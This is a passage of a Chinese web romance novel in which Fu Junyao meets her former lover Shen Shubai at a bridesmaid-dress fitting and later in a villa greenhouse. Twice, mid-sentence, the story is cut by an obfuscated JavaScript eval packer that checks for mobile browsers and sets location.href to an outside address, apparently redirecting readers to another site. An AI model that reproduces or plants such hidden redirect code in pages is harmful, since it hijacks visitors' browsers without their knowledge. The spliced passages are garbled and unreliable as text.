沈行之往房门口走,走到一半,像是想到什么,转过身,声音和缓不少:“还有,好好顾着点自己身体,别再像刚回来那两天不吃不喝了,这才回来几天,你看看自己瘦了多少?绝食这种苦肉计,在咱家也是行不通的。” 说罢,沈行之已经拧开门把手,脚步却骤然停在沈述白的轻唤中:“哥。” “你……能不能再帮我一次?” …… 隔天上午,傅珺瑶暂时把坏情绪搁置,高高兴兴的和顾清漪去试礼服。 顾清漪也很有眼力见的没提昨晚的事。 “咱们正好顺道去把其他人接上,许远舟也去接他的伴郎们了,今天估计有得热闹。” 伴郎伴娘一共六对,都是跟他们关系还不错的朋友。 顾清漪她们是先到的。 店员带她们进了休息区。 两排定制的礼服已经挂在那里。 简单大气的浅紫色纱裙,和基础款的银灰色西装。 “咱们先坐下吃点东西,等他们到了一起试。” 桌上提前备好了蓝莓乳酪巴斯克和解腻的红茶。 酸甜绵密的巴斯克在舌尖慢慢化开,傅珺瑶晃了晃肩,又往嘴里送了一大口。 “老婆,你们都到了?”傅珺瑶才咀嚼两下,许远舟的声音已经从外长廊飘进来。 坐在沙发上的女人们同时转头。在看到许远舟身后跟着的身影时,傅珺瑶稍稍一愣。 林逸深? 不过还没等她的情绪延续,再后面的那道身影已经完全占据她的双眸。 两颗如曜石般的黑眸陡然紧缩,颊侧的咬肌瞬然僵直,没办法再咀嚼酸甜的巴斯克,更没办法吞下去。 就连托着盘子的手都骤然软力,险些让巴斯克遭了殃。 47. 19 沈述白一身清爽的黑色短袖和长裤,短发没有梳上去,搭在额前挡住额头,深褐色的瞳眸闪着点细光,右耳的黑色耳钉依旧能在第一时间抓人眼球。 他的视线几乎在同一时间对上来。 傅珺瑶的目光扫过他的衣服,落在他线条明显的胳膊上,舌头下意识往上顶了顶,舌尖还留着绵密的乳酪。 “珺珺。” 两双眸子还没来得及缠绕,便被林逸深的声音打断。 傅珺瑶猛然回神,迅速吞下嘴里的食物,挪开视线,心脏慌乱地往胸壁撞了两下。 “在路上就听说你也在了。”林逸深走到她身后。 傅珺瑶扯了扯唇,眸子却忍不住瞟向跟着许远舟往顾清漪身后走的人。 他短暂地瞥过一眼之后,就不再看他们,原本还算温和的眉眼瞬间收敛起来,微微发沉。 顾清漪蹙眉斜了眼许远舟,又狠狠掐他,几秒钟的窸窸窣窣过后,许远舟握紧了顾清漪的手,扬出笑脸:“人都到齐了,大家先去试礼服,咱们试好没问题后,我安排好了今天的消遣,辛苦哥哥姐姐们周末出来试礼服。” “行了远舟,你就别说那客气话了,咱们试完会好好搓你一顿的!”伴郎团的陈祎开口。 “咱们快去试吧,清漪都说了今天是你们结婚前的最后一个周末,会让我们玩爽的。”伴娘团里的路婧附和。 众人受邀而来,即是看中情分,也是看中身份,说到底,也是一种实打实的利益交换。 至于场面里隐隐而起的硝烟,没有人会提起。 傅珺瑶和沈述白的关系,谁会不知道?可他们的身份,又是这里面最出挑的,只要他们之间没有真的打起来,谁都不会主动引火上身。 八个试衣间很快进去了人。 剩下几个留在沙发上等。 顾清漪把许远舟拉到角落里,脸色明显不悦,低声不知道跟他嘀咕了什么。 而傅珺瑶身后的林逸深走到她跟前,恰好挡住对面的沈述白,温声开口:“珺珺,很期待你穿上伴娘装的样子,肯定很漂亮。” 又稍稍俯身,靠近她的耳侧,用仅有他们两人能听到的声音说:“珺珺,沈述白是远舟关系挺近的朋友,他来也没办法避免,不过你也不要不开心,咱们不看他就好了。” “……” 傅珺瑶下意识把耳侧的头发撩前,抿紧了唇。 她不太喜欢这样近的距离,指向旁边的单人沙发,平声示意他:“没事,你先坐下来吧。” 林逸深还没来得及动作,一道调侃闯进来:“喔唷,咱们傅总这是和林总有情况了?” 是坐在傅珺瑶身侧的一个伴郎。 林逸深笑了笑,慢慢起身,对着那人耸耸肩,摇头,语气有些可惜:“别瞎说,我和傅总是朋友。” 那人仍然眯着眼笑。 林逸深听了傅珺瑶的话,在单人沙发坐下。 傅珺瑶微冷的眸子睨向身侧,唇角往上扬,声音却往内收敛,有些低沉,带了点若有似无的压迫感,说:“是我离开了淮北一个多月回来跟不上安总的网速了?我和林总之间再正常不过的友谊也成了什么特殊情况?” 那人瞬间正形,清了清嗓,很快陪笑道:“哪有哪有?我当然知道傅总和林总是纯友谊,今天气氛特殊嘛,我开个玩笑,傅总也别介意。” 傅珺瑶回眸,眼皮垂了两秒,才慢慢抬起。 他就静静地坐在那,低头抿着红茶。 “行了行了,陈祎出来了,你赶紧进去试礼服。”顾清漪不知道什么时候走回来,自然而然伸手搭在傅珺瑶肩上,朝着傅珺瑶身侧那人道。 又牵着傅珺瑶的手,挽着她去了空出来的试衣间。 傅珺瑶拿到的是一字肩款式,在顾清漪面前,她也没什么羞臊,开始脱衣服。 “珺珺,我是真不知道沈述白会来,我之前跟许远舟说过能不找他就不找他来的。” 傅珺瑶低头看了眼手里的纱裙,慢慢往身上套,双眸眯了眯,没有很快回答顾清漪。 她转身,让顾清漪帮她拉上拉链。 顾清漪接着补充:“刚刚许远舟跟我说,是沈述白主动提的要来,而且是知道你在的情况下。” 傅珺瑶把头发撩到前面的动作停了停,又勾手从颈后顺了遍发丝。 她盯着眼前光滑的墙壁,眸光缓慢汇聚,唇角轻轻上挑,又很快压下去。 “珺珺,你们……” “没事。”傅珺瑶在顾清漪开口前打断:“见面避免不了的,我有分寸。” 顾清漪靠在她肩上,帮她扯了扯领口。 她点到为止,又说:“林逸深也在,到时候你是跟他一起还是选择其他伴郎?” 傅珺瑶抿了抿唇,稍稍沉吟。 说:“就他吧。” 顾清漪了然,不再多话,注意力回到傅珺瑶试的礼服身上。 顾清漪围着她看了一圈,咂舌:“真漂亮,你真是各种风格都能驾驭住啊。” 望向她的眸子盈满笑意,又替她理好披散的长发。 傅珺瑶把女人漫出来的欣赏收入眼底,心口也跟着往外散着愉悦,推去了刚才在外面绷起的诧异和紧张。 她也对着女人笑笑:“要欣赏我等下次我的主场,这是你的主场,顾小姐。” 顾清漪微微愣住,笑意更浓,反手把人勾住:“行!傅总来给我撑场子,我倍有面!” 两人笑着出了试衣间,往休息区走。 走到一半,傅珺瑶猝不及防地再次对上那道视线。 被挡在长纱裙下的脚步短暂停顿。 他站在那里,换好了礼服。 她的视线忍不住停了两秒,才不动声色地移开。 转瞬,林逸深已经走到她跟前。 他暂时保持了适当的距离,睫毛轻轻扇动,深灰色的眼瞳被弯起来的眼睑包裹,声音轻和:“珺珺,这一身很漂亮。” 傅珺瑶只浅笑道:“谢谢,你这一身也挺帅。” 再越过残留着酸甜味的空气定格在那一处时,傅珺瑶嘴边的笑慢慢收敛起来。 他已经坐下来,低着头看手机,再不往她这里看。 礼服试得基本都没问题,许远舟说自行配对,再一起合张照。 话音刚落,傅珺瑶本能地看向窝在沙发里的那人。 他收了手机起身,似乎有往外迈步的打算。 不过下一秒,林逸深又占据她的可及视野,主动伸手:“珺珺,咱们俩一起吧?” 傅珺瑶垂在身侧的手捏紧了裙角,短暂的停顿后,搭上了他的手。 林逸深几乎是瞬间握紧傅珺瑶的手,唇边漫出的笑意更浓。 他牵着她往人群堆走。 才转身,傅珺瑶身边突然靠近一道身影,带着熟悉的味道瞬间占据她的鼻腔,微硬的西装从她裸露在外的胳膊轻轻擦过。 傅珺瑶猛地捏紧手掌,瞳孔轻轻一缩,往侧方斜过去。 可没等看清他的身影,他便已经走到她前面,留给她一个稍许低沉的背影。 心脏倏然抽动,傅珺瑶耳根热了热,紧握成拳的手掌松了松,五指微微僵直。 鼻间停留的气息堪比陈年的酒酿,才走两步,她都觉得脚步虚浮。 意识持续和理智对峙。 他已经转过身,黑色耳钉撞进眼球。 傅珺瑶咽了咽喉。 银灰色的西装配上这颗黑色耳钉。 更闷骚了。 “一个蜜饯,一个吻。” “一天又不是只能吻一次。” “我没感受清楚,你能不能再来一次?” 傅珺瑶的喉间更觉干涩。 “珺珺。”乱飞的意识被林逸深的声音拉了回来,理智重新回笼。 傅珺瑶轻轻激灵,收回目光。 林逸深指了指最右侧的空位:“我们去那边吧?” 沈述白在最左侧。 傅珺瑶“哦”了声,跟着他去了最右侧。 一张合照的速度再快不过。 等衣服全都换下来,这些天继续交由店员打理,婚礼前两天直接送到顾清漪和许远舟举办仪式的别墅。 办完正事,许远舟带他们去了郊外的独栋别墅。 “专门从法国请回来的厨师,独一无二的定制菜单,包各位满意。” 别墅内,厨师团队已经在厨房备菜,许远舟开始介绍。 二楼有许家私人的疗愈师,供给他们养生放松,按摩、水疗、美甲、护理几乎一应俱全。 楼顶两个露天私人泳池才换了水,遮阳伞也安排到位,方便晒太阳浴。 除了这些基础的享乐,许远舟还安排了几个知名珠宝品牌和高定服装的管家拿了好些样品过来,供这一屋子人任意挑选。 “各位有满意的直接预定,我来买单。”许远舟挥了挥手道。 又接着说:“三楼还有我爷爷奶奶珍藏的古董画,各位如果有那个雅致,也随意品鉴。” 他还特地从他老妈的私人酒庄拿了几瓶珍藏的酒酿过来。 势必要把每个人都伺候好。 原本顾清漪是打算带他们去佛罗伦萨的,她自己在那有座小岛,不过时间太赶,这群人又是大忙人,于是她和许远舟便商量等婚礼之后,大家一起休年假,再好好招待他们一次。 陈祎出来打趣:“许医生,你们当医生的这么挣钱吗?” 路婧笑笑,跟着调侃:“许医生一个月的工资都不够他最便宜的一块表,人家是多方面发展人才。” 许远舟搂着顾清漪,回应:“学医是梦想,我主要靠我老婆的。” 众人哄笑。 傅珺瑶心不在焉地站在顾清漪身侧,背在身后的手时不时掐紧,指腹前段多出来好几个月牙印—— 距离她只有几米远的位置,一直有道视线时不时扫过来。 她也忍不住几次往那个方向看过去,和那道视线意外相撞,又急匆匆地移回来。 呼吸一急一缓,分明别墅里凉气很足,可傅珺瑶的气息却越来越热,甚至热过别墅外太阳冒出的热气。 傅珺瑶蹙起眉,重新凛神,意识强制两颗眼珠不瞎转。 蓦地,那道视线也跟着没了踪影。 “珺珺,咱们去楼上做美甲。”顾清漪突然挽上她的胳膊说。 扎堆的众人散开,没有非围在一起,也没打算跟许远舟客气,该玩玩、该买买。 傅珺瑶微微一激灵,目光里最后只留下那人转身的模样。 她侧头,对着顾清漪扯出一个笑,点了点头,跟人上了二楼。 房间里两位美甲师已经在那里等着,是顾清漪专门请的给她做婚礼美甲的。 两张按摩椅已经被清洁阿姨调试过,傅珺瑶干脆地躺了上去,打算先放松放松,顺带排去脑海中那些不该想的东西。 她选了个最简单的美甲款,不贴甲片,就稍微做个建构, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17157651|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十指裸色。 一选完,她又立马闭上眼睛,背后的按摩椅开始运功,从肩颈旋转按摩,一直到尾椎骨。 嵌合在一起的肌肉被慢慢推松,不再紧绷,原本藏匿、堆积在那里的疲倦和堵闷跟着消散。 不过傅珺瑶只放松了不到两分钟。 身侧的顾清漪蓦然开口:“珺珺,你刚刚的眼神是不是太明显了?虽说这是私人局,但是密不透风那可不一定。” 傅珺瑶正放松的手指突然一紧,正在给她打磨甲面的美甲师停下动作,细声询问:“傅小姐,有不舒服吗?” 傅珺瑶又重新放松,语气平淡:“没有,你继续吧。” 身侧顾清漪的视线已经粘在她身上,哪怕是闭着眼睛,她都完全没法忽视。 傅珺瑶想装傻,可顾清漪又继续,稍微委婉的语气里带着点引导性:“珺珺,你对他是认真了?” “……” 傅珺瑶很清楚这个‘他’是谁。 认真…… 她不知道曾经被动把人当成老公,算不算认真。 傅珺瑶睁开眼,装修华丽的天花板和顶灯清晰进入眼底,晃眼的光线刺得眼球微微酸痛。 她其实有些诧异,她自认为自己短暂瞟过去的目光只有被看到的他注意到,没想到那会一直在跟周围人哄笑的顾清漪也注意到了。 皓齿轻轻咬合,唇肉有些疼,几番辗转,耳边顾清漪平稳的呼吸声跟随着她从未移动的视线始终动摇她的意识。 “我……知道分寸。”傅珺瑶最后只憋出来这么一句。 “珺珺。”顾清漪的语气陡然认真。 傅珺瑶不明所以,缓慢挪过去视线。 “感情的事不能太压抑,有的时候越压抑,反而越想得到。”顾清漪那两颗清亮的瞳仁对上来,傅珺瑶鼻翼两侧轻轻抽了抽。 越压抑…越想得到…… “当初你们分开,是因为你哥告诉你们真相了吧?” 傅珺瑶愣了愣,最终点头。 “那你自己想跟他分开吗?他又想不想跟你分开?” 傅珺瑶眼眸微闪,短暂的动摇后,她深吸了口气,语气坚决:“不论我们想不想,分开都是唯一的选择。” “那你有想过其他的选择吗?”顾清漪仍然盯着她,语速突然放慢:“比如…只是明面上的分开,而私底下,又是另一副模样。” 傅珺瑶狠狠一僵。 双神稍稍错愕,重新看向女人。 顾清漪丝毫不诧异,解释:“珺珺,其实你能看懂自己的性子,虽然在傅爷爷面前,你为了家族和恒璟妥协,可你明白,你私底下是另一种模样,不爱受规训,自己又很有主见,这样的你,面对傅爷爷的‘威严’你只有表面是妥协的,内心根本不认同。” 傅珺瑶一时语塞,诧异之余又觉得是在情理之中。 “同样的逻辑,换到你和他的事情上,你不记得前二十多年傅家对你的教育思想,不记得自己恨他,而是因为一个自己根本陌生的理由跟他分开,这样的你,是不是也会有想要反叛的时候?” 傅珺瑶没想到顾清漪会如此一针见血。 仿佛完全窥视到她的内心。 “珺珺,其实我很想支持你去追逐自己喜欢的人或者事,你说你想要改变被傅爷爷压抑的现状,这很好,不管这个过程有多难,我都愿意陪你,可你喜欢的人如果是他,我不会支持你反叛,也想要提前阻断一切错误发生的可能。” 顾清漪本来不打算今天跟她聊这件事,可亲眼见到他们之间萦绕的若有似无的火花时,她觉得事不宜迟。 傅珺瑶紧抿着唇。 脑海中自动跳出来昨晚顾清漪的电话之前,她的那个想法。 又是长久沉默。 到顾清漪忍不住再开口前,傅珺瑶的五官又慢慢平展开,漆黑的瞳仁汇聚眸光,存有几分意味不明的情愫。 她说:“如果……尚且存有一丝希望呢?” 顾清漪皱眉:“什么?” …… 傅珺瑶从房间里出来,目标明确,直奔楼梯口。 她需要去透透气。 刚走到一楼客厅,正坐在沙发休息的林逸深几乎立刻起身,朝她喊了声:“珺珺!” 傅珺瑶的脚步顿然停下。 “珺珺,你做完指甲了吗?现在去哪,我能不能和你一起?”他走到距离她只有两步的位置,双眸眯起,嘴角带笑。 傅珺瑶很快摇头:“我去洗手间。” “那我在这等你。”林逸深又说。 傅珺瑶连忙摆手,连声拒绝:“不用不用,你自己玩得尽兴,不用管我,我先走了!” 说完,一点迂回的机会都没留给他,很快往侧走廊跑。 跑进洗手间拐角后,傅珺瑶才慢慢探头,确认林逸深没跟上来,彻底放心。 侧走廊尽头就是别墅的后门,顾清漪说,后边有个恒温玻璃花房。 她想也不想,直接从后门出去,头顶烈日加温过的风大肆怼着脸扑过来,刺眼的光线照得傅珺瑶双眸眯成一条缝,两只手快速挡在眉骨上方,闷头朝着玻璃花房跑过去。 她背着身,用后肩顶开花房的门,绕了个圈,整个人顺利从外面进来。 花房门在她进来的那一刻自动闭合,她习惯性地往前走了两步。 挡在额前的手刚放下,却倏然对上一双略显诧异的温目。 她打算往前迈的脚步猛然停下。 48. 20 她浑身一抽。 身体还残留着炎阳光线照射的余热,经由加速的心跳一牵动,热气更浓,呼吸错频,两只脚忘了前进,也忘了后退。 四目紧紧缠绕。 傅珺瑶尚且存有几分理智,双眸强力对抗着意识,想从交缠的视线中脱身。 可那双深褐色的眸子像是在往外分泌着浓稠的甜丝,牢牢地粘住她的双目,完全不给她脱身的机会。 傅珺瑶无意识地咽了咽口水。 “来这里吧,门口挺热的。”他突然开口,指着身侧的小圆桌,桌子旁摆了两个小圆凳。 “……” 傅珺瑶有时候真说不清自己到底是运气好还是运气背。 不知道为什么总能碰到他。 跟他同时出事、同时失忆,去公园散心遇到他,去喝酒遇到他,来当伴娘又遇到他,甚至就连没人来的玻璃花房,他还在。 甚至连工作,都可能逃不开他。 倘若这算缘分,那老天未免太不长眼,好歹也该让他们没有那段长达二十多年的家族仇恨。 她想得出神,迟迟没有迈过去腿。 眼前的人却突然朝她这边走。 傅珺瑶瞳孔猛然动了动,视线转移,聚焦到了他的黑色常服上。 心脏像是被一只大手狠狠捏了一下。 衣服没有任何logo,低调简单,不染一丝灰尘。随着他的靠近,鼻腔里已经钻进花香之外的、她再熟悉不过的那种干净清冽的味道。 明晃晃的金色光线穿透玻璃隔板,折射到那颗黑色耳钉,照亮了她的眼底。 他的面容在眼前逐渐放大,钻入鼻腔的味道愈发强烈,完全抢了花香的风头。 傅珺瑶的理智已经被踢至边缘。 那只大手捏动心脏的频率愈发快。 身体完全固定在原地,指尖无意识内收,嵌入掌心,大脑自动回想起那晚,那如幻梦般的醉意中,他们亲密无间,也想到了那个无忧无虑的小村庄,听得见海浪声、闻得到海咸味的房间里,她毫无忌惮地抱着这样一身衣着的他。 她背过手,左手捏紧右手手腕,做着最后的坚守。 在距离她一米远的位置,他突然停下。 两只眸子下垂,里头泛出的柔光迅速将她缠绕、包裹。 他说:“你如果不想让我在这里,我可以出去。” 声音像是那晚他化开的蜂蜜水,温温热热地淌进耳道,落入心口,带着温润的甜滑。 她的眼神闪了闪,稍微迟疑。 可还没等她出声,他又说:“不过我之前就听远舟说过他的别墅有个很棒的玻璃花房,也一直都想来看看,这一次好不容易碰上机会了。” “……” 傅珺瑶还没来得及从大脑的回忆里抽身,面前的人又弄得她哑口无言。 短暂的对视间,他们什么话都没说。 他侧身,给她让了道,却没有要出去的意思。 傅珺瑶心里想的是她得赶紧出去,那晚的尴尬才过去,她不能跟他待在一个空间里。 身体却不由心,前面没了他挡道,她径直朝着前面的小圆桌走过去。 她的脚步往前探了没几步,他的脚步悄声跟上。 她听得清清楚楚,他的鞋和地面之间细微的摩擦声,以及她自己如鼓擂般的心跳。 “感情的事不能太压抑,有时候越压抑,反而越想得到。” 顾清漪的话在脑海中重复了一遍,傅珺瑶停下脚步,身旁是两排矮松,圆桌和圆凳几乎被矮松包绕,她垂眸,盯着眼前的小圆凳,另一个就近在咫尺。 不管她坐了哪一个,沈述白都会坐另一个。 她想避开他,就不该坐下。 两秒后,她长腿一跨,稳稳当当地坐了下来。 耳边的脚步声越来越近,鼻尖还未散去的他的味道也重新铺满。 她转头,那颗黑色耳钉撞进眼底。 他坐下,那双深褐色瞳眸抢夺黑色耳钉占据的位置。 视线再次勾缠。 从头顶照进来的光线横在两道视线中间,似乎带着股要穿透什么的力量。 沈述白突然问:“我能加你的微信吗?” 傅珺瑶瞳仁微缩,转头拒绝:“不能。” 男人的呼吸凝了凝,又倏然舒了口气。 傅珺瑶心底升起熟悉的感觉。 下一秒,他长长地叹了声气,声音很轻,却压得傅珺瑶喘不过气。 然后说:“其实我一直很想跟恒璟合作的,我还以为傅总也有这个想法,原来……是我自作多情了。” “……” 他的语气最初还算正常,说到最后半句的时候,突然卡壳两秒,话语中似乎带了几分自嘲。 傅珺瑶眸色复杂地瞟向他,心口跟着抽了抽。 那人垂着眸,四四方方的手机被他拿在手里盘,手机侧边还留着跟她手机一样的大大小小的划痕。 傅珺瑶鬼使神差地拿出手机,朝他说了句:“二维码。” 心底又冒出来道声:是因为工作加微信而已,她答应是为了工作。 她话音刚落,男人几乎立刻打开手机,也没点屏幕,直接翻过来对着她,清晰的二维码迅速出现在摄像头里。 这玻璃花房也完全没有减缓网速,不过两秒,他的信息已经出现在她的手机界面。 “……” 傅珺瑶看穿一切,却没有拆穿,抿着唇,点了添加。 心底再次重复:她是为了工作才加他的。 她瞟了眼备注,无声扯唇,也没打算给他改。 不羁的S,果然是二愣子。 又安静下来。 傅珺瑶收了手机,手指上抬,捻着面前的松树小叶,没去看沈述白,也尽量忽略他的视线。 可鼻腔里他融进来的气息就跟唤醒了记忆细胞一样,脑海中疯狂涌入他们在洱南的画面。 他们站在海里接吻,他说:“我们就永远像现在这样,好不好?” 他坐在床边,一口一口给她喂药。 他坐在桌边,桌上摆着她喜欢吃的饭菜,全都是他做的。 他在她面前掉眼泪,说:“照顾你是我的责任,可我却没把你照顾好。” 捻在指腹的松叶弥漫出一层浓烈的香气,是在抗议她的动作。 傅珺瑶很快松了手,却因为收回来的动作过于迅速,重心偏移,圆凳瞬失平衡,整个身子都有往后倒的趋势。 她面前的男人瞬然伸手,唇边下意识脱口而出声:“小心!” 手掌牢牢地握紧她的手腕,却连带着身下的圆凳也失去平衡,跟着她往一个方向倒。 沈述白的膝盖先着了地,另一只手很快转到她的腰后,稳稳托住,很快把她拉回来。 两人才稳住重心,玻璃花房外突然一声“珺珺”传进来,傅珺瑶瞳孔紧缩,想都没想,直接把托着她腰背的人往后一按,自己也跟着他齐刷刷地倒向地面。 一声闷响被玻璃花房门打开的声音掩盖,傅珺瑶几乎是立刻捂住身下人的唇,食指竖在唇中,对上那双骤然放大的褐瞳,猛地摇头。 林逸深的声音更加清晰的在耳边响起:“珺珺?珺珺你在吗?去哪儿了?” 傅珺瑶拧着眉,斜眸看向眼前一排紧密的矮松,挡得严严实实,她看不到那头的情况。 不过耳边的声音很清晰。 玻璃花房的门重新被推开,林逸深还在唤她的名字,不过声音越来越模糊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173168|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声熟悉的闷响,傅珺瑶终于松了口气—— 门重新闭合了。 手上的动作没来得及收回,手腕又被他握紧,很快离开他的唇。 傅珺瑶本能地眨了眨眸。 沈述白的眸色微微沉下来,声音因为平躺下来,有些发哑:“就这么怕被他发现?” 废话。 这是傅珺瑶心底的第一反应。 他们俩单独在一块,本来就不能让任何人知道。 更别说林逸深。 就他的这股殷勤劲儿,他势必是要在她这里得到点利益。 傅淮湛的那套什么青梅竹马的感情说辞在她这,她只觉得扯,林逸深都跟她这么多年没见了,再有感情能有到哪儿去? 比感情更诱人的是利益。 林氏虽然一直发展得不错,可毕竟离启行还差得远,有恒璟这个跳板在面前,傅珺瑶不相信林逸深会不抓紧。 在这种情况下,他做出什么事都不稀奇。 况且他昨天就在老爷子面前急于表现他们的关系了。 更甚于,他本来就是傅淮湛弄来的,她不好说傅淮湛有没有跟他暗示过什么。 傅珺瑶点头,语气肯定:“是,很怕。” 身下的人眸色更沉,那片琥珀海就跟结了冰似的。 傅珺瑶眯了眯眼,觉得这样的眼神很熟悉,有点像他去了镇上回村之后强吻她时的模样,却又不完全像,多了点她没看懂的东西。 她不知道是什么,只觉得这种未明的情愫能让她心口愉悦。 他轻哼,视线往下,又回到她脸上:“你不是说跟他是朋友?既然是朋友,还要怕什么?就算让他看到你的手放在我身上,他也没资格说什么吧?” “……” 傅珺瑶有些无语,可心口冒出的愉悦感更浓,像是他做的蜜饯,甜中微酸,让人欲舍难断。 视线跟着往下,她瞬间没了时间去思考什么愉悦感—— 她的手不偏不倚地覆在了他的胸口。 而掌心之下,那一块不算敏感的神经能感受到熟悉的轮廓。 包括她的身体,只隔着两层薄薄的衣料,完全能清楚感受到那两排结实的肌肉。 傅珺瑶耳根猛地一热,左手迅速撤回,弓腿,想要起身,右手却还被他抓在手里,一个踉跄,又重新倒了回去,左手再次覆盖在那块位置。 “……” “……” 视线交叠。 傅珺瑶的脸颊开始发热。 她强撑镇定:“这是你拉我回来的,跟我可没关系。” 沈述白却陷入沉默,可手也不放她走。 傅珺瑶不想再维持这样的姿势,因为能感受到的不仅仅是肌肉。 还有心跳。 她的心跳正在加速。 她已经感受到他强力、频繁的心跳。 她暂时不想露馅,不想在只有那一丝丝希望还有待考证时露馅,她不想陷入绝望。 “你放开我。”她的声音也沉下来。 男人还是沉默,心跳突然慢了些,不知道是想起什么,神色突然暗淡。 他还是没松手。 傅珺瑶快要控制不住逐渐加快的心跳,手腕开始蓄力,想要挣脱他。 可下一秒,他蓦然主动松开在她身上的禁锢,背脊使力,一个仰卧起坐,同时带起她。 他坐稳,推着她稳坐在圆凳,拍掉了她衣角沾上的灰尘,自己再起身。 他完全没顾自己身上的灰,绕过圆桌,没有再坐下的打算,身子已经朝向房门。 临走前,他终于开口:“指甲很漂亮,这里氧气很足,很适合一个人放放松,我不打扰你了,但也别待太久,别让…外面的人担心。” 49. 21 再一次。 傅珺瑶的心脏再一次被狠狠击中。 他的背影消失在她的视线里,门口瞬间陷入一片荒芜。 直到脖颈微微发僵,她才缓慢地收回视线,看向自己花了两个小时做的指甲。 恒温的气体从指间滑走,她突然扯了扯唇,唇边泄出声很轻的哼笑。 …… 傅珺瑶在花房里待了二十分钟,原路返回,想去找顾清漪,结果刚走到楼梯口,就被客厅沙发上的林逸深叫住。 “珺珺!” 傅珺瑶双脚顿住,转头,却对上另一双眸。 那人坐在单人沙发,一手撑着下巴,一手拿着手机不知道在看什么,双腿懒懒交叠,翘着二郎腿。他只瞟了眼她的方向,又不动声色地把视线收回去。 “……” 傅珺瑶挪过目光,看向林逸深。 “你刚刚去哪儿了,我都没找到你。”林逸深弯起唇,眯着眼问。 傅珺瑶并没有直接回答:“我都说了你不用等我,你自己玩尽兴就好了。” “没事,反正在客厅坐会也挺好的,我就是想和你一起,你想去哪,不如我陪你?”他毫不避讳道。 “……” 傅珺瑶摇头,不喜欢这种没眼力见的纠缠,声音稍稍收敛,带上几分不容拒绝的压迫感:“我去找清漪,她还在等我,既然你喜欢在一楼客厅,我可以帮你把吴管家叫过来,挑几件喜欢的珠宝,如何?” 傅珺瑶的意思已经再明显不过。 林逸深微微一顿,唇角的弧度浅了些,却还是带着该有的柔和,他点头:“我听你的。” 傅珺瑶转身,很快上楼。 在去找顾清漪之前,她先回了储物间,她的包包放在那,里头放了盒顾清漪给她买的甜饼干。 她熟练地开了拉链,直接伸手往里摸,指尖却突然僵住。 傅珺瑶低头,猫着腰往露出来的缝隙瞄进去,是个圆柱形的容器。 手握紧,拿出来,瞳孔猛然缩紧。 东西差点掉下去。 脖颈下意识转动,视线往门口的方向扫去,嘴唇微微张开,却什么声音都没发出来。 大脑有几秒的停顿时间。 她盯着透明罐子里的东西,眼珠左右晃动,一时难以聚焦。 两分钟的迟疑后,她掏出手机,快速翻到熟悉的页面,崭新的聊天框里还是只有好友验证通过的消息。 傅珺瑶拧开盖子,清甜的蜜饯香味很快飘出来。 她挑了颗最熟悉的蜜桃干,送进嘴。 舌尖触碰到那抹酸甜后,甜意很快顺着喉管往下,蔓延至心口。 大脑感知到熟悉的味道,某些记忆也跟着同时涌起。 傅珺瑶的唇轻抿,咀嚼完嘴里的清甜,又拿了块芒果干,才盖好罐盖,把东西收回包里,重新去找了顾清漪。 正换了浴袍等着傅珺瑶过来按摩的顾清漪听到动静,抬眸,眉头一挑,问:“心情这么好?遇到什么开心事儿了?” 傅珺瑶舌尖抵着唇,勾走了残留的最后一丝甜,她耸肩摇头:“没,就吃了点甜的。” 顾清漪放下手机,让她去换浴袍,自己先躺了下来。 她又陡然问:“你确定不用让许远舟帮忙探探他的想法?” 傅珺瑶脱衣服的动作跟着一愣。 随即摇头:“不用。” 语气十分笃定。 顾清漪喉间哼出声笑:“行,那林逸深那边呢?我刚刚可听见他到处找你。” 傅珺瑶系好浴袍的腰带,抖了抖长发,在顾清漪旁边的床上躺下。 她直直地望着天花板,等肩头有了舒适的力道攀附,她顺势闭上眸,语气平静:“暂时先不管,太快把他弄走,我哥指不定又干出什么事来。” “行,需要我出手尽管说!” …… 傅珺瑶和顾清漪一直待在房间里按摩、聊天,没让任何人进来打扰。 是晚餐时间,许远舟过来敲门,两人才下楼。 白色的长条桌旁,人差不多坐满了。 傅珺瑶跟着顾清漪入座,对面恰好是林逸深。 她的视线不小心扫过去的瞬间,林逸深对着她笑了笑,傅珺瑶扯了扯唇,视线挪向另一侧。 有个空位。 还差一个人。 “述白呢?”陈祎也发现了,主动开口问。 傅珺瑶面色无波澜,慢慢拿起面前的玻璃杯,抿了口温水。 许远舟解释:“他在厨房,说是要做道新鲜菜。” “真的假的?他终于肯下厨了?清漪、远舟,还得是你俩面子大呀!”陈祎明显震惊,音量都提高不少。 顾清漪只笑了笑。 “之前好像听说述白做饭很好吃,那咱们今晚可有口福了。”坐在空位对面的路婧开口附和。 许远舟点头:“是挺好吃的,反正今天咱们享受就完事儿了!” 傅珺瑶再次扫过那空位,迅速收回视线,又润了口温水。 话音刚落,厨房一阵动静,熟悉的脚步声渐进。 傅珺瑶手里的温水轻轻颤了颤,她扬臂,让玻璃杯回到了原本的位置。 视线却没有回到原来的位置,脖颈直起,下巴微扬,双目不偏不倚地对上那双褐眸。 像是鼓棒从垂直角度狠狠撞击了一下鼓面,傅珺瑶心口震起清晰的响动。 她瞬然收回眸光,那道声音却又穿过拥挤的空气,温和地进入她的耳道:“做了道淮北不常见的菜,味道蛮特殊,一会跟着前菜一起上。” 话音落下时,他恰好入座。 顾清漪接了话:“真是多谢沈总了,辛苦。” 沈述白摇头,视线轻晃,意味深长地说了句:“荣幸之至。” 